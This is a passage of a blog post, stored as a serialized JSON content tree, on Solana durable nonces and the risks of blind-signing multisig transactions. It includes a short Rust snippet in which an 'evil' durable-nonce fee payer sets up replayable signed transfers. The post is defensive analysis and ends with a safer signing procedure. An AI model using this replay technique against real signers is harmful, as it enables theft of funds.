next_lamports_per_signature",{"type":26,"tag":217,"props":97667,"children":97668},{"style":7048},[97669],{"type":32,"value":10953},{"type":26,"tag":217,"props":97671,"children":97672},{"class":7028,"line":7553},[97673],{"type":26,"tag":217,"props":97674,"children":97675},{"style":7048},[97676],{"type":32,"value":78388},{"type":26,"tag":217,"props":97678,"children":97679},{"class":7028,"line":7570},[97680],{"type":26,"tag":217,"props":97681,"children":97682},{"style":7048},[97683],{"type":32,"value":37334},{"type":26,"tag":217,"props":97685,"children":97686},{"class":7028,"line":7621},[97687,97691,97695,97699],{"type":26,"tag":217,"props":97688,"children":97689},{"style":7119},[97690],{"type":32,"value":91758},{"type":26,"tag":217,"props":97692,"children":97693},{"style":7048},[97694],{"type":32,"value":1851},{"type":26,"tag":217,"props":97696,"children":97697},{"style":7119},[97698],{"type":32,"value":97493},{"type":26,"tag":217,"props":97700,"children":97701},{"style":7048},[97702],{"type":32,"value":8064},{"type":26,"tag":217,"props":97704,"children":97705},{"class":7028,"line":7672},[97706,97710,97714,97718,97722,97726],{"type":26,"tag":217,"props":97707,"children":97708},{"style":7054},[97709],{"type":32,"value":97505},{"type":26,"tag":217,"props":97711,"children":97712},{"style":7149},[97713],{"type":32,"value":1473},{"type":26,"tag":217,"props":97715,"children":97716},{"style":7119},[97717],{"type":32,"value":97426},{"type":26,"tag":217,"props":97719,"children":97720},{"style":7048},[97721],{"type":32,"value":1851},{"type":26,"tag":217,"props":97723,"children":97724},{"style":7054},[97725],{"type":32,"value":97587},{"type":26,"tag":217,"props":97727,"children":97728},{"style":7048},[97729],{"type":32,"value":13841},{"type":26,"tag":217,"props":97731,"children":97732},{"class":7028,"line":7681},[97733,97737,97741,97746],{"type":26,"tag":217,"props":97734,"children":97735},{"style":7054},[97736],{"type":32,"value":97526},{"type":26,"tag":217,"props":97738,"children":97739},{"style":7149},[97740],{"type":32,"value":1473},{"type":26,"tag":217,"props":97742,"children":97743},{"style":7054},[97744],{"type":32,"value":97745}," previous_lamports_per_signature",{"type":26,"tag":217,"props":97747,"children":97748},{"style":7048},[97749],{"type":32,"value":10953},{"type":26,"tag":217,"props":97751,"children":97752},{"class":7028,"line":7754},[97753],{"type":26,"tag":217,"props":97754,"children":97755},{"style":7048},[97756],{"type":32,"value":79190},{"type":26,"tag":217,"props":97758,"children":97759},{"class":7028,"line":7784},[97760,97764,97768],{"type":26,"tag":217,"props":97761,"children":97762},{"style":7048},[97763],{"type":32,"value":40847},{"type":26,"tag":217,"props":97765,"children":97766},{"style":7042},[97767],{"type":32,"value":40852},{"type":26,"tag":217,"props":97769,"children":97770},{"style":7048},[97771],{"type":32,"value":8064},{"type":26,"tag":217,"props":97773,"children":97774},{"class":7028,"line":7802},[97775,97780,97784,97789,97793,97797],{"type":26,"tag":217,"props":97776,"children":97777},{"style":7054},[97778],{"type":32,"value":97779},"        error_counters",{"type":26,"tag":217,"props":97781,"children":97782},{"style":7149},[97783],{"type":32,"value":180},{"type":26,"tag":217,"props":97785,"children":97786},{"style":7048},[97787],{"type":32,"value":97788},"blockhash_not_found ",{"type":26,"tag":217,"props":97790,"children":97791},{"style":7149},[97792],{"type":32,"value":60107},{"type":26,"tag":217,"props":97794,"children":97795},{"style":7130},[97796],{"type":32,"value":9742},{"type":26,"tag":217,"props":97798,"children":97799},{"style":7048},[97800],{"type":32,"value":7162},{"type":26,"tag":217,"props":97802,"children":97803},{"class":7028,"line":7811},[97804,97809,97813,97818,97822,97827],{"type":26,"tag":217,"props":97805,"children":97806},{"style":7119},[97807],{"type":32,"value":97808},"        Err",{"type":26,"tag":217,"props":97810,"children":97811},{"style":7048},[97812],{"type":32,"value":1851},{"type":26,"tag":217,"props":97814,"children":97815},{"style":7119},[97816],{"type":32,"value":97817},"TransactionError",{"type":26,"tag":217,"props":97819,"children":97820},{"style":7149},[97821],{"type":32,"value":56166},{"type":26,"tag":217,"props":97823,"children":97824},{"style":7119},[97825],{"type":32,"value":97826},"BlockhashNotFound",{"type":26,"tag":217,"props":97828,"children":97829},{"style":7048},[97830],{"type":32,"value":10025},{"type":26,"tag":217,"props":97832,"children":97833},{"class":7028,"line":7820},[97834],{"type":26,"tag":217,"props":97835,"children":97836},{"style":7048},[97837],{"type":32,"value":9754},{"type":26,"tag":39,"props":97839,"children":97840},{},[97841],{"type":32,"value":97842},"The documentation does a good job of explaining how they work.",{"type":26,"tag":35,"props":97844,"children":97845},{},[97846],{"type":26,"tag":39,"props":97847,"children":97848},{},[97849],{"type":32,"value":97850},"Durable Transaction Nonces, which are 32-byte in length (usually represented as base58 encoded strings), are used in place of recent blockhashes to make every transaction unique (to avoid double-spending) while removing the mortality on the unexecuted transaction.",{"type":26,"tag":39,"props":97852,"children":97853},{},[97854,97856,97863],{"type":32,"value":97855},"Durable nonces are created and managed ",{"type":26,"tag":163,"props":97857,"children":97860},{"href":97858,"rel":97859},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/programs/system/src/system_processor.rs#L446",[167],[97861],{"type":32,"value":97862},"by the system program",{"type":32,"value":97864},". They don't have a fixed PDA, so each account can have multiple associated nonces.",{"type":26,"tag":39,"props":97866,"children":97867},{},[97868,97870,97877],{"type":32,"value":97869},"After a durable nonce is used, it'll be \"advanced\" to preventing replay attacks. The new nonce is calculated ",{"type":26,"tag":163,"props":97871,"children":97874},{"href":97872,"rel":97873},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L81",[167],[97875],{"type":32,"value":97876},"based on the current blockhash",{"type":32,"value":97878},", and cannot be predicted in advance.",{"type":26,"tag":207,"props":97880,"children":97882},{"className":56140,"code":97881,"language":56139,"meta":8,"style":8},"    let hash_queue = self.blockhash_queue.read().unwrap();\n    let last_blockhash = hash_queue.last_hash();\n    let next_durable_nonce = DurableNonce::from_blockhash(&last_blockhash);\n",[97883],{"type":26,"tag":83,"props":97884,"children":97885},{"__ignoreMap":8},[97886,97940,97973],{"type":26,"tag":217,"props":97887,"children":97888},{"class":7028,"line":7029},[97889,97893,97897,97901,97905,97909,97914,97918,97923,97927,97931,97936],{"type":26,"tag":217,"props":97890,"children":97891},{"style":7154},[97892],{"type":32,"value":77780},{"type":26,"tag":217,"props":97894,"children":97895},{"style":7054},[97896],{"type":32,"value":97448},{"type":26,"tag":217,"props":97898,"children":97899},{"style":7149},[97900],{"type":32,"value":8993},{"type":26,"tag":217,"props":97902,"children":97903},{"style":7154},[97904],{"type":32,"value":92589},{"type":26,"tag":217,"props":97906,"children":97907},{"style":7149},[97908],{"type":32,"value":180},{"type":26,"tag":217,"props":97910,"children":97911},{"style":7048},[97912],{"type":32,"value":97913},"blockhash_queue",{"type":26,"tag":217,"props":97915,"children":97916},{"style":7149},[97917],{"type":32,"value":180},{"type":26,"tag":217,"props":97919,"children":97920},{"style":7064},[97921],{"type":32,"value":97922},"read",{"type":26,"tag":217,"props":97924,"children":97925},{"style":7048},[97926],{"type":32,"value":78002},{"type":26,"tag":217,"props":97928,"children":97929},{"style":7149},[97930],{"type":32,"value":180},{"type":26,"tag":217,"props":97932,"children":97933},{"style":7064},[97934],{"type":32,"value":97935},"unwrap",{"type":26,"tag":217,"props":97937,"children":97938},{"style":7048},[97939],{"type":32,"value":8217},{"type":26,"tag":217,"props":97941,"children":97942},{"class":7028,"line":6770},[97943,97947,97952,97956,97960,97964,97969],{"type":26,"tag":217,"props":97944,"children":97945},{"style":7154},[97946],{"type":32,"value":77780},{"type":26,"tag":217,"props":97948,"children":97949},{"style":7054},[97950],{"type":32,"value":97951}," last_blockhash",{"type":26,"tag":217,"props":97953,"children":97954},{"style":7149},[97955],{"type":32,"value":8993},{"type":26,"tag":217,"props":97957,"children":97958},{"style":7054},[97959],{"type":32,"value":97448},{"type":26,"tag":217,"props":97961,"children":97962},{"style":7149},[97963],{"type":32,"value":180},{"type":26,"tag":217,"props":97965,"children":97966},{"style":7064},[97967],{"type":32,"value":97968},"last_hash",{"type":26,"tag":217,"props":97970,"children":97971},{"style":7048},[97972],{"type":32,"value":8217},{"type":26,"tag":217,"props":97974,"children":97975},{"class":7028,"line":6779},[97976,97980,97985,97989,97994,97998,98003,98007,98011,98016],{"type":26,"tag":217,"props":97977,"children":97978},{"style":7154},[97979],{"type":32,"value":77780},{"type":26,"tag":217,"props":97981,"children":97982},{"style":7054},[97983],{"type":32,"value":97984}," next_durable_nonce",{"type":26,"tag":217,"props":97986,"children":97987},{"style":7149},[97988],{"type":32,"value":8993},{"type":26,"tag":217,"props":97990,"children":97991},{"style":7119},[97992],{"type":32,"value":97993}," DurableNonce",{"type":26,"tag":217,"props":97995,"children":97996},{"style":7149},[97997],{"type":32,"value":56166},{"type":26,"tag":217,"props":97999,"children":98000},{"style":7064},[98001],{"type":32,"value":98002},"from_blockhash",{"type":26,"tag":217,"props":98004,"children":98005},{"style":7048},[98006],{"type":32,"value":1851},{"type":26,"tag":217,"props":98008,"children":98009},{"style":7149},[98010],{"type":32,"value":9804},{"type":26,"tag":217,"props":98012,"children":98013},{"style":7054},[98014],{"type":32,"value":98015},"last_blockhash",{"type":26,"tag":217,"props":98017,"children":98018},{"style":7048},[98019],{"type":32,"value":7669},{"type":26,"tag":39,"props":98021,"children":98022},{},[98023,98025,98030],{"type":32,"value":98024},"This has an important consequence for our threat model. Unlike recent blockhash transactions, durable nonce transactions ",{"type":26,"tag":65,"props":98026,"children":98027},{},[98028],{"type":32,"value":98029},"can",{"type":32,"value":98031}," be saved and reused.",{"type":26,"tag":27,"props":98033,"children":98035},{"id":98034},"threat-model",[98036],{"type":32,"value":98037},"Threat Model",{"type":26,"tag":39,"props":98039,"children":98040},{},[98041],{"type":32,"value":98042},"Let's consider a simplified form of the original question.",{"type":26,"tag":6712,"props":98044,"children":98045},{},[98046,98051,98056],{"type":26,"tag":2044,"props":98047,"children":98048},{},[98049],{"type":32,"value":98050},"We have a N/M multisig",{"type":26,"tag":2044,"props":98052,"children":98053},{},[98054],{"type":32,"value":98055},"Signers are unable to see what they're signing, both with respect to content and quantity of signatures. This is roughly equivalent to blind signing transactions.",{"type":26,"tag":2044,"props":98057,"children":98058},{},[98059],{"type":32,"value":98060},"We can accurately query chain state.",{"type":26,"tag":39,"props":98062,"children":98063},{},[98064],{"type":32,"value":98065},"Can we safely sign transactions?",{"type":26,"tag":39,"props":98067,"children":98068},{},[98069],{"type":32,"value":98070},"One observation is that this problem is very hard to solve with durable nonces. By signing durable nonce transactions, an attacker could collect signatures and replay them at some indeterminite future point.",{"type":26,"tag":39,"props":98072,"children":98073},{},[98074,98076,98082,98084,98091],{"type":32,"value":98075},"Durable nonces require an onchain account, and it's possible to use a ",{"type":26,"tag":83,"props":98077,"children":98079},{"className":98078},[],[98080],{"type":32,"value":98081},"getProgramAccounts",{"type":32,"value":98083}," call to validate if your signer ",{"type":26,"tag":163,"props":98085,"children":98088},{"href":98086,"rel":98087},"https://solana.stackexchange.com/questions/9650/is-there-any-way-to-get-nonce-accounts-of-an-authorized-account",[167],[98089],{"type":32,"value":98090},"has an associated durable nonce",{"type":32,"value":180},{"type":26,"tag":207,"props":98093,"children":98097},{"className":98094,"code":98095,"language":98096,"meta":8,"style":8},"language-typescript shiki shiki-themes slack-dark","const connection = new Connection(clusterApiUrl('testnet'));\nconst nonceAccounts = await connection.getProgramAccounts(\n  // The system program owns all nonce accounts.\n  SYSTEM_PROGRAM_ADDRESS,\n  {\n    filters: [\n      {\n        // Nonce accounts are exactly 80 bytes long\n        dataSize: 80,\n      },\n      {\n        // The authority's 32-byte public key is written\n        // into bytes 8-40 of the nonce's account data.\n        memcmp: {\n          bytes: AUTHORITY_PUBLIC_KEY.toBase58(),\n          offset: 8,\n        },\n      },\n    ],\n  }\n);\n","typescript",[98098],{"type":26,"tag":83,"props":98099,"children":98100},{"__ignoreMap":8},[98101,98148,98184,98192,98204,98212,98225,98233,98241,98258,98265,98272,98280,98288,98300,98326,98343,98351,98358,98366,98373],{"type":26,"tag":217,"props":98102,"children":98103},{"class":7028,"line":7029},[98104,98108,98113,98117,98121,98126,98130,98135,98139,98144],{"type":26,"tag":217,"props":98105,"children":98106},{"style":7154},[98107],{"type":32,"value":74748},{"type":26,"tag":217,"props":98109,"children":98110},{"style":7054},[98111],{"type":32,"value":98112}," connection",{"type":26,"tag":217,"props":98114,"children":98115},{"style":7149},[98116],{"type":32,"value":8993},{"type":26,"tag":217,"props":98118,"children":98119},{"style":7154},[98120],{"type":32,"value":25931},{"type":26,"tag":217,"props":98122,"children":98123},{"style":7064},[98124],{"type":32,"value":98125}," Connection",{"type":26,"tag":217,"props":98127,"children":98128},{"style":7048},[98129],{"type":32,"value":1851},{"type":26,"tag":217,"props":98131,"children":98132},{"style":7064},[98133],{"type":32,"value":98134},"clusterApiUrl",{"type":26,"tag":217,"props":98136,"children":98137},{"style":7048},[98138],{"type":32,"value":1851},{"type":26,"tag":217,"props":98140,"children":98141},{"style":7338},[98142],{"type":32,"value":98143},"'testnet'",{"type":26,"tag":217,"props":98145,"children":98146},{"style":7048},[98147],{"type":32,"value":8697},{"type":26,"tag":217,"props":98149,"children":98150},{"class":7028,"line":6770},[98151,98155,98160,98164,98168,98172,98176,98180],{"type":26,"tag":217,"props":98152,"children":98153},{"style":7154},[98154],{"type":32,"value":74748},{"type":26,"tag":217,"props":98156,"children":98157},{"style":7054},[98158],{"type":32,"value":98159}," nonceAccounts",{"type":26,"tag":217,"props":98161,"children":98162},{"style":7149},[98163],{"type":32,"value":8993},{"type":26,"tag":217,"props":98165,"children":98166},{"style":7042},[98167],{"type":32,"value":13803},{"type":26,"tag":217,"props":98169,"children":98170},{"style":7054},[98171],{"type":32,"value":98112},{"type":26,"tag":217,"props":98173,"children":98174},{"style":7048},[98175],{"type":32,"value":180},{"type":26,"tag":217,"props":98177,"children":98178},{"style":7064},[98179],{"type":32,"value":98081},{"type":26,"tag":217,"props":98181,"children":98182},{"style":7048},[98183],{"type":32,"value":10932},{"type":26,"tag":217,"props":98185,"children":98186},{"class":7028,"line":6779},[98187],{"type":26,"tag":217,"props":98188,"children":98189},{"style":7033},[98190],{"type":32,"value":98191},"  // The system program owns all nonce accounts.\n",{"type":26,"tag":217,"props":98193,"children":98194},{"class":7028,"line":7140},[98195,98200],{"type":26,"tag":217,"props":98196,"children":98197},{"style":7054},[98198],{"type":32,"value":98199},"  SYSTEM_PROGRAM_ADDRESS",{"type":26,"tag":217,"props":98201,"children":98202},{"style":7048},[98203],{"type":32,"value":10953},{"type":26,"tag":217,"props":98205,"children":98206},{"class":7028,"line":7165},[98207],{"type":26,"tag":217,"props":98208,"children":98209},{"style":7048},[98210],{"type":32,"value":98211},"  {\n",{"type":26,"tag":217,"props":98213,"children":98214},{"class":7028,"line":7178},[98215,98220],{"type":26,"tag":217,"props":98216,"children":98217},{"style":7054},[98218],{"type":32,"value":98219},"    filters:",{"type":26,"tag":217,"props":98221,"children":98222},{"style":7048},[98223],{"type":32,"value":98224}," [\n",{"type":26,"tag":217,"props":98226,"children":98227},{"class":7028,"line":7389},[98228],{"type":26,"tag":217,"props":98229,"children":98230},{"style":7048},[98231],{"type":32,"value":98232},"      {\n",{"type":26,"tag":217,"props":98234,"children":98235},{"class":7028,"line":7406},[98236],{"type":26,"tag":217,"props":98237,"children":98238},{"style":7033},[98239],{"type":32,"value":98240},"        // Nonce accounts are exactly 80 bytes long\n",{"type":26,"tag":217,"props":98242,"children":98243},{"class":7028,"line":7439},[98244,98249,98254],{"type":26,"tag":217,"props":98245,"children":98246},{"style":7054},[98247],{"type":32,"value":98248},"        dataSize:",{"type":26,"tag":217,"props":98250,"children":98251},{"style":7130},[98252],{"type":32,"value":98253}," 80",{"type":26,"tag":217,"props":98255,"children":98256},{"style":7048},[98257],{"type":32,"value":10953},{"type":26,"tag":217,"props":98259,"children":98260},{"class":7028,"line":7487},[98261],{"type":26,"tag":217,"props":98262,"children":98263},{"style":7048},[98264],{"type":32,"value":16071},{"type":26,"tag":217,"props":98266,"children":98267},{"class":7028,"line":7524},[98268],{"type":26,"tag":217,"props":98269,"children":98270},{"style":7048},[98271],{"type":32,"value":98232},{"type":26,"tag":217,"props":98273,"children":98274},{"class":7028,"line":7553},[98275],{"type":26,"tag":217,"props":98276,"children":98277},{"style":7033},[98278],{"type":32,"value":98279},"        // The authority's 32-byte public key is written\n",{"type":26,"tag":217,"props":98281,"children":98282},{"class":7028,"line":7570},[98283],{"type":26,"tag":217,"props":98284,"children":98285},{"style":7033},[98286],{"type":32,"value":98287},"        // into bytes 8-40 of the nonce's account data.\n",{"type":26,"tag":217,"props":98289,"children":98290},{"class":7028,"line":7621},[98291,98296],{"type":26,"tag":217,"props":98292,"children":98293},{"style":7054},[98294],{"type":32,"value":98295},"        memcmp:",{"type":26,"tag":217,"props":98297,"children":98298},{"style":7048},[98299],{"type":32,"value":8064},{"type":26,"tag":217,"props":98301,"children":98302},{"class":7028,"line":7672},[98303,98308,98313,98317,98322],{"type":26,"tag":217,"props":98304,"children":98305},{"style":7054},[98306],{"type":32,"value":98307},"          bytes:",{"type":26,"tag":217,"props":98309,"children":98310},{"style":7054},[98311],{"type":32,"value":98312}," AUTHORITY_PUBLIC_KEY",{"type":26,"tag":217,"props":98314,"children":98315},{"style":7048},[98316],{"type":32,"value":180},{"type":26,"tag":217,"props":98318,"children":98319},{"style":7064},[98320],{"type":32,"value":98321},"toBase58",{"type":26,"tag":217,"props":98323,"children":98324},{"style":7048},[98325],{"type":32,"value":79153},{"type":26,"tag":217,"props":98327,"children":98328},{"class":7028,"line":7681},[98329,98334,98339],{"type":26,"tag":217,"props":98330,"children":98331},{"style":7054},[98332],{"type":32,"value":98333},"          offset:",{"type":26,"tag":217,"props":98335,"children":98336},{"style":7130},[98337],{"type":32,"value":98338}," 8",{"type":26,"tag":217,"props":98340,"children":98341},{"style":7048},[98342],{"type":32,"value":10953},{"type":26,"tag":217,"props":98344,"children":98345},{"class":7028,"line":7754},[98346],{"type":26,"tag":217,"props":98347,"children":98348},{"style":7048},[98349],{"type":32,"value":98350},"        },\n",{"type":26,"tag":217,"props":98352,"children":98353},{"class":7028,"line":7784},[98354],{"type":26,"tag":217,"props":98355,"children":98356},{"style":7048},[98357],{"type":32,"value":16071},{"type":26,"tag":217,"props":98359,"children":98360},{"class":7028,"line":7802},[98361],{"type":26,"tag":217,"props":98362,"children":98363},{"style":7048},[98364],{"type":32,"value":98365},"    ],\n",{"type":26,"tag":217,"props":98367,"children":98368},{"class":7028,"line":7811},[98369],{"type":26,"tag":217,"props":98370,"children":98371},{"style":7048},[98372],{"type":32,"value":16086},{"type":26,"tag":217,"props":98374,"children":98375},{"class":7028,"line":7820},[98376],{"type":26,"tag":217,"props":98377,"children":98378},{"style":7048},[98379],{"type":32,"value":7669},{"type":26,"tag":39,"props":98381,"children":98382},{},[98383,98385,98397],{"type":32,"value":98384},"Unfortunately this is not sufficient",{"type":26,"tag":98386,"props":98387,"children":98388},"sup",{},[98389],{"type":26,"tag":163,"props":98390,"children":98395},{"href":98391,"ariaDescribedBy":98392,"dataFootnoteRef":8,"id":98394},"#user-content-fn-1",[98393],"footnote-label","user-content-fnref-1",[98396],{"type":32,"value":185},{"type":32,"value":98398},". A transaction may have multiple signers, and an attacker could use their own durable nonce fee-payer. This means our problem as defined above is unfortunately unsolvable.",{"type":26,"tag":207,"props":98400,"children":98402},{"className":56140,"code":98401,"language":56139,"meta":8,"style":8},"    let instruction = system_instruction::transfer(&from, &ledger_base_pubkey, 42);\n    let message =\n        Message::new_with_nonce(vec![instruction], Some(&evil_nonce_authority), &nonce_account, &evil_nonce_authority)\n            .serialize();\n",[98403],{"type":26,"tag":83,"props":98404,"children":98405},{"__ignoreMap":8},[98406,98475,98491,98577],{"type":26,"tag":217,"props":98407,"children":98408},{"class":7028,"line":7029},[98409,98413,98418,98422,98427,98431,98436,98440,98444,98449,98453,98457,98462,98466,98471],{"type":26,"tag":217,"props":98410,"children":98411},{"style":7154},[98412],{"type":32,"value":77780},{"type":26,"tag":217,"props":98414,"children":98415},{"style":7054},[98416],{"type":32,"value":98417}," instruction",{"type":26,"tag":217,"props":98419,"children":98420},{"style":7149},[98421],{"type":32,"value":8993},{"type":26,"tag":217,"props":98423,"children":98424},{"style":7048},[98425],{"type":32,"value":98426}," system_instruction",{"type":26,"tag":217,"props":98428,"children":98429},{"style":7149},[98430],{"type":32,"value":56166},{"type":26,"tag":217,"props":98432,"children":98433},{"style":7064},[98434],{"type":32,"value":98435},"transfer",{"type":26,"tag":217,"props":98437,"children":98438},{"style":7048},[98439],{"type":32,"value":1851},{"type":26,"tag":217,"props":98441,"children":98442},{"style":7149},[98443],{"type":32,"value":9804},{"type":26,"tag":217,"props":98445,"children":98446},{"style":7054},[98447],{"type":32,"value":98448},"from",{"type":26,"tag":217,"props":98450,"children":98451},{"style":7048},[98452],{"type":32,"value":7599},{"type":26,"tag":217,"props":98454,"children":98455},{"style":7149},[98456],{"type":32,"value":9804},{"type":26,"tag":217,"props":98458,"children":98459},{"style":7054},[98460],{"type":32,"value":98461},"ledger_base_pubkey",{"type":26,"tag":217,"props":98463,"children":98464},{"style":7048},[98465],{"type":32,"value":7599},{"type":26,"tag":217,"props":98467,"children":98468},{"style":7130},[98469],{"type":32,"value":98470},"42",{"type":26,"tag":217,"props":98472,"children":98473},{"style":7048},[98474],{"type":32,"value":7669},{"type":26,"tag":217,"props":98476,"children":98477},{"class":7028,"line":6770},[98478,98482,98487],{"type":26,"tag":217,"props":98479,"children":98480},{"style":7154},[98481],{"type":32,"value":77780},{"type":26,"tag":217,"props":98483,"children":98484},{"style":7054},[98485],{"type":32,"value":98486}," message",{"type":26,"tag":217,"props":98488,"children":98489},{"style":7149},[98490],{"type":32,"value":67508},{"type":26,"tag":217,"props":98492,"children":98493},{"class":7028,"line":6779},[98494,98499,98503,98508,98512,98517,98521,98526,98530,98535,98539,98543,98548,98552,98556,98561,98565,98569,98573],{"type":26,"tag":217,"props":98495,"children":98496},{"style":7119},[98497],{"type":32,"value":98498},"        Message",{"type":26,"tag":217,"props":98500,"children":98501},{"style":7149},[98502],{"type":32,"value":56166},{"type":26,"tag":217,"props":98504,"children":98505},{"style":7064},[98506],{"type":32,"value":98507},"new_with_nonce",{"type":26,"tag":217,"props":98509,"children":98510},{"style":7048},[98511],{"type":32,"value":1851},{"type":26,"tag":217,"props":98513,"children":98514},{"style":7064},[98515],{"type":32,"value":98516},"vec!",{"type":26,"tag":217,"props":98518,"children":98519},{"style":7048},[98520],{"type":32,"value":7127},{"type":26,"tag":217,"props":98522,"children":98523},{"style":7054},[98524],{"type":32,"value":98525},"instruction",{"type":26,"tag":217,"props":98527,"children":98528},{"style":7048},[98529],{"type":32,"value":9799},{"type":26,"tag":217,"props":98531,"children":98532},{"style":7119},[98533],{"type":32,"value":98534},"Some",{"type":26,"tag":217,"props":98536,"children":98537},{"style":7048},[98538],{"type":32,"value":1851},{"type":26,"tag":217,"props":98540,"children":98541},{"style":7149},[98542],{"type":32,"value":9804},{"type":26,"tag":217,"props":98544,"children":98545},{"style":7054},[98546],{"type":32,"value":98547},"evil_nonce_authority",{"type":26,"tag":217,"props":98549,"children":98550},{"style":7048},[98551],{"type":32,"value":5407},{"type":26,"tag":217,"props":98553,"children":98554},{"style":7149},[98555],{"type":32,"value":9804},{"type":26,"tag":217,"props":98557,"children":98558},{"style":7054},[98559],{"type":32,"value":98560},"nonce_account",{"type":26,"tag":217,"props":98562,"children":98563},{"style":7048},[98564],{"type":32,"value":7599},{"type":26,"tag":217,"props":98566,"children":98567},{"style":7149},[98568],{"type":32,"value":9804},{"type":26,"tag":217,"props":98570,"children":98571},{"style":7054},[98572],{"type":32,"value":98547},{"type":26,"tag":217,"props":98574,"children":98575},{"style":7048},[98576],{"type":32,"value":10025},{"type":26,"tag":217,"props":98578,"children":98579},{"class":7028,"line":7140},[98580,98584,98589],{"type":26,"tag":217,"props":98581,"children":98582},{"style":7149},[98583],{"type":32,"value":94017},{"type":26,"tag":217,"props":98585,"children":98586},{"style":7064},[98587],{"type":32,"value":98588},"serialize",{"type":26,"tag":217,"props":98590,"children":98591},{"style":7048},[98592],{"type":32,"value":8217},{"type":26,"tag":39,"props":98594,"children":98595},{},[98596,98598,98605],{"type":32,"value":98597},"Luckily, it is tractable with a small modification. What if the signer is allowed to observe the fee-payer on the transaction? For example, Ledger ",{"type":26,"tag":163,"props":98599,"children":98602},{"href":98600,"rel":98601},"https://github.com/LedgerHQ/app-solana/blob/a19da6c301541390bd08731a10f1f128b38ee66e/src/handle_sign_message.c#L97",[167],[98603],{"type":32,"value":98604},"logs the fee-payer here",{"type":32,"value":180},{"type":26,"tag":207,"props":98607,"children":98609},{"className":9574,"code":98608,"language":2255,"meta":8,"style":8},"bool print_config_show_authority(const PrintConfig* print_config, const Pubkey* authority) {\n    return print_config->expert_mode || !pubkeys_equal(print_config->signer_pubkey, authority);\n}\n",[98610],{"type":26,"tag":83,"props":98611,"children":98612},{"__ignoreMap":8},[98613,98672,98728],{"type":26,"tag":217,"props":98614,"children":98615},{"class":7028,"line":7029},[98616,98620,98625,98629,98633,98638,98642,98647,98651,98655,98659,98663,98668],{"type":26,"tag":217,"props":98617,"children":98618},{"style":7154},[98619],{"type":32,"value":74880},{"type":26,"tag":217,"props":98621,"children":98622},{"style":7064},[98623],{"type":32,"value":98624}," print_config_show_authority",{"type":26,"tag":217,"props":98626,"children":98627},{"style":7048},[98628],{"type":32,"value":1851},{"type":26,"tag":217,"props":98630,"children":98631},{"style":7154},[98632],{"type":32,"value":74748},{"type":26,"tag":217,"props":98634,"children":98635},{"style":7048},[98636],{"type":32,"value":98637}," PrintConfig",{"type":26,"tag":217,"props":98639,"children":98640},{"style":7149},[98641],{"type":32,"value":10006},{"type":26,"tag":217,"props":98643,"children":98644},{"style":7054},[98645],{"type":32,"value":98646}," print_config",{"type":26,"tag":217,"props":98648,"children":98649},{"style":7048},[98650],{"type":32,"value":7599},{"type":26,"tag":217,"props":98652,"children":98653},{"style":7154},[98654],{"type":32,"value":74748},{"type":26,"tag":217,"props":98656,"children":98657},{"style":7048},[98658],{"type":32,"value":93283},{"type":26,"tag":217,"props":98660,"children":98661},{"style":7149},[98662],{"type":32,"value":10006},{"type":26,"tag":217,"props":98664,"children":98665},{"style":7054},[98666],{"type":32,"value":98667}," authority",{"type":26,"tag":217,"props":98669,"children":98670},{"style":7048},[98671],{"type":32,"value":7618},{"type":26,"tag":217,"props":98673,"children":98674},{"class":7028,"line":6770},[98675,98679,98683,98687,98692,98696,98700,98705,98709,98714,98718,98723],{"type":26,"tag":217,"props":98676,"children":98677},{"style":7042},[98678],{"type":32,"value":7171},{"type":26,"tag":217,"props":98680,"children":98681},{"style":7054},[98682],{"type":32,"value":98646},{"type":26,"tag":217,"props":98684,"children":98685},{"style":7048},[98686],{"type":32,"value":10115},{"type":26,"tag":217,"props":98688,"children":98689},{"style":7054},[98690],{"type":32,"value":98691},"expert_mode",{"type":26,"tag":217,"props":98693,"children":98694},{"style":7149},[98695],{"type":32,"value":12520},{"type":26,"tag":217,"props":98697,"children":98698},{"style":7149},[98699],{"type":32,"value":37846},{"type":26,"tag":217,"props":98701,"children":98702},{"style":7064},[98703],{"type":32,"value":98704},"pubkeys_equal",{"type":26,"tag":217,"props":98706,"children":98707},{"style":7048},[98708],{"type":32,"value":1851},{"type":26,"tag":217,"props":98710,"children":98711},{"style":7054},[98712],{"type":32,"value":98713},"print_config",{"type":26,"tag":217,"props":98715,"children":98716},{"style":7048},[98717],{"type":32,"value":10115},{"type":26,"tag":217,"props":98719,"children":98720},{"style":7054},[98721],{"type":32,"value":98722},"signer_pubkey",{"type":26,"tag":217,"props":98724,"children":98725},{"style":7048},[98726],{"type":32,"value":98727},", authority);\n",{"type":26,"tag":217,"props":98729,"children":98730},{"class":7028,"line":6779},[98731],{"type":26,"tag":217,"props":98732,"children":98733},{"style":7048},[98734],{"type":32,"value":7184},{"type":26,"tag":39,"props":98736,"children":98737},{},[98738],{"type":32,"value":98739},"Let's say we've determined our signer has no associated nonce accounts. If our pubkey is the fee-payer on the new proposed transaction, we can know for sure that the transaction does not use durable nonces!",{"type":26,"tag":39,"props":98741,"children":98742},{},[98743],{"type":32,"value":98744},"Without durable nonces, the problem becomes much easier to solve. After waiting enough time, there'll be a point where all previously signed transactions will be expired. If we see no unexpected transactions, that means we're safe.",{"type":26,"tag":39,"props":98746,"children":98747},{},[98748],{"type":32,"value":98749},"We can then use the following procedure.",{"type":26,"tag":6712,"props":98751,"children":98752},{},[98753,98758,98763,98768,98773],{"type":26,"tag":2044,"props":98754,"children":98755},{},[98756],{"type":32,"value":98757},"Ensure all signers have no durable nonce accounts.",{"type":26,"tag":2044,"props":98759,"children":98760},{},[98761],{"type":32,"value":98762},"The first signer signs and submits the transaction.",{"type":26,"tag":2044,"props":98764,"children":98765},{},[98766],{"type":32,"value":98767},"Wait two minutes for all recent blockhashes to expire.",{"type":26,"tag":2044,"props":98769,"children":98770},{},[98771],{"type":32,"value":98772},"Observe recent transactions associated with the signer to ensure nothing unexpected is submitted.",{"type":26,"tag":2044,"props":98774,"children":98775},{},[98776],{"type":32,"value":98777},"Repeat steps 2 to 4 for each signer",{"type":26,"tag":27,"props":98779,"children":98781},{"id":98780},"beyond",[98782],{"type":32,"value":98783},"Beyond",{"type":26,"tag":39,"props":98785,"children":98786},{},[98787],{"type":32,"value":98788},"Solana's signature model is unique. What can protocols do if they're deploying on blockchains without these unique properties? The most important constraint is observability. There must be a way you can see what you're signing, either while signing or implicitly after the fact.",{"type":26,"tag":39,"props":98790,"children":98791},{},[98792,98794,98801],{"type":32,"value":98793},"For example, pcaversaccio wrote a tool to 